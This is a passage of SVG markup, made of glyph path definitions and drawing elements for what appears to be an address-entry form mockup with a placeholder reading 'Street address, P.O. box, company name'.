1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="s"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="B"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M0 2.516h6.016v1.171H0zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="m5.875-9 1.594 5.25.328 1.734h.031l.266-1.765L9.328-9h1.219L8.157.203h-.735L5.594-5.703l-.25-1.516h-.032l-.25 1.532L3.298.202h-.735L.095-9h1.375l1.39 5.234.22 1.75h.03l.329-1.78L4.905-9zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M7.219 0H1.156v-12.594H2.5v11.36h4.719zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M1.688-1.203h2.03V-9.97l.173-1.062-.61.86-1.515 1.218-.688-.797 3.281-3.063h.657v11.61h1.968V0H1.688zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M5.672 0v-5.469c0-.843-.102-1.484-.297-1.922-.2-.437-.594-.656-1.188-.656-.417 0-.796.152-1.14.453-.344.305-.574.68-.688 1.125V0H1.063v-12.594h1.296v4.438h.047c.239-.313.535-.567.89-.766.352-.195.798-.297 1.329-.297.395 0 .738.059 1.031.172.301.106.547.293.735.563.187.261.328.609.421 1.046.102.438.157.981.157 1.625V0zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="m.578-1.172 3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="M7.734-.484c-.293.25-.668.43-1.125.53C6.15.16 5.672.22 5.172.22a4.324 4.324 0 0 1-1.766-.36C2.863-.379 2.395-.758 2-1.28c-.387-.52-.688-1.192-.906-2.016-.211-.832-.313-1.832-.313-3 0-1.195.117-2.207.36-3.031.25-.832.578-1.504.984-2.016.406-.52.875-.894 1.406-1.125a4.251 4.251 0 0 1 1.656-.344c.57 0 1.047.043 1.422.126.383.085.711.183.985.296l-.328 1.235a3.297 3.297 0 0 0-.844-.313 5.256 5.256 0 0 0-1.11-.11c-.417 0-.812.095-1.187.282-.375.188-.71.492-1 .906-.281.407-.508.95-.672 1.625-.168.668-.25 1.493-.25 2.47 0 1.75.297 3.07.89 3.952.602.875 1.4 1.313 2.391 1.313a3.26 3.26 0 0 0 1.11-.172c.32-.113.597-.25.828-.406zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h722v512H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.236 40.853h35.865V66.19H24.236zm0 0" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.644 44.584H57.1M26.644 62.446H57.1M26.644 44.584a.3.3 0 0 0-.3.3M57.4 44.884a.3.3 0 0 0-.3-.3M26.344 44.884v17.262M57.4 44.884v17.262M26.344 62.146a.3.3 0 0 0 .3.3M57.1 62.446a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 125.96h102.399v23.853H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="144.211"/><use xlink:href="#b" x="86.109" y="144.211"/><use xlink:href="#b" x="95.016" y="144.211"/><use xlink:href="#c" x="103.922" y="144.211"/><use xlink:href="#d" x="109.781" y="144.211"/><use xlink:href="#e" x="118.336" y="144.211"/><use xlink:href="#e" x="125.328" y="144.211"/><use xlink:href="#f" x="132.32" y="144.211"/><use xlink:href="#g" x="136.422" y="144.211"/><use xlink:href="#h" x="141.285" y="144.211"/><use xlink:href="#i" x="145.777" y="144.211"/><use xlink:href="#d" x="154.762" y="144.211"/><use xlink:href="#f" x="163.316" y="144.211"/><use xlink:href="#j" x="167.418" y="144.211"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 116.684h408v40h-408zM197.313 122.684v-6c-3.313 0-6 2.687-6 6zM605.313 122.684h6c0-3.313-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 122.684h420v28h-420zM197.313 150.684h-6c0 3.312 2.687 6 6 6zM605.313 150.684v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 46.46h20.4M34.052 48.46h20.4M34.052 46.46a.3.3 0 0 0-.3.3M54.752 46.76a.3.3 0 0 0-.3-.3M33.752 46.76v1.4M54.752 46.76v1.4M33.752 48.16a.3.3 0 0 0 .3.3M54.452 48.46a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.313 161.434h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#k" x="191.313" y="177.684"/><use xlink:href="#l" x="199.008" y="177.684"/><use xlink:href="#m" x="203.949" y="177.684"/><use xlink:href="#n" x="208.891" y="177.684"/><use xlink:href="#n" x="216.215" y="177.684"/><use xlink:href="#l" x="223.656" y="177.684"/><use xlink:href="#o" x="228.598" y="177.684"/><use xlink:href="#p" x="232.406" y="177.684"/><use xlink:href="#q" x="239.613" y="177.684"/><use xlink:href="#q" x="247.406" y="177.684"/><use xlink:href="#m" x="255.199" y="177.684"/><use xlink:href="#n" x="260.141" y="177.684"/><use xlink:href="#r" x="267.582" y="177.684"/><use xlink:href="#r" x="273.656" y="177.684"/><use xlink:href="#s" x="279.73" y="177.684"/><use xlink:href="#o" x="281.469" y="177.684"/><use xlink:href="#t" x="285.277" y="177.684"/><use xlink:href="#u" x="291.527" y="177.684"/><use xlink:href="#v" x="294.32" y="177.684"/><use xlink:href="#u" x="303.793" y="177.684"/><use xlink:href="#o" x="305.414" y="177.684"/><use xlink:href="#w" x="309.223" y="177.684"/><use xlink:href="#x" x="317.035" y="177.684"/><use xlink:href="#y" x="324.496" y="177.684"/><use xlink:href="#s" x="331.918" y="177.684"/><use xlink:href="#o" x="333.656" y="177.684"/><use xlink:href="#z" x="337.465" y="177.684"/><use xlink:href="#x" x="343.578" y="177.684"/><use xlink:href="#A" x="351.352" y="177.684"/><use xlink:href="#B" x="363.07" y="177.684"/><use xlink:href="#p" x="370.902" y="177.684"/><use xlink:href="#C" x="378.109" y="177.684"/><use xlink:href="#D" x="386.02" y="177.684"/><use xlink:href="#o" x="392.309" y="177.684"/><use xlink:href="#C" x="396.117" y="177.684"/><use xlink:href="#p" x="404.027" y="177.684"/><use xlink:href="#A" x="411.234" y="177.684"/><use xlink:href="#n" x="422.953" y="177.684"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.157 51.13-3.462-.005" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.695 51.125c0-.125.125-.25.25-.25s.25.126.25.25c0 .126-.125.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 207.293h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="225.543"/><use xlink:href="#b" x="86.109" y="225.543"/><use xlink:href="#b" x="95.016" y="225.543"/><use xlink:href="#c" x="103.922" y="225.543"/><use xlink:href="#d" x="109.781" y="225.543"/><use xlink:href="#e" x="118.336" y="225.543"/><use xlink:href="#e" x="125.328" y="225.543"/><use xlink:href="#f" x="132.32" y="225.543"/><use xlink:href="#g" x="136.422" y="225.543"/><use xlink:href="#h" x="141.285" y="225.543"/><use xlink:href="#i" x="145.777" y="225.543"/><use xlink:href="#d" x="154.762" y="225.543"/><use xlink:href="#f" x="163.316" y="225.543"/><use xlink:href="#E" x="167.418" y="225.543"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 198.02h408v40h-408zM197.313 204.02v-6c-3.313 0-6 2.683-6 6zM605.313 204.02h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 204.02h420v28h-420zM197.313 232.02h-6c0 3.312 2.687 6 6 6zM605.313 232.02v6c3.312 0 6-2.688 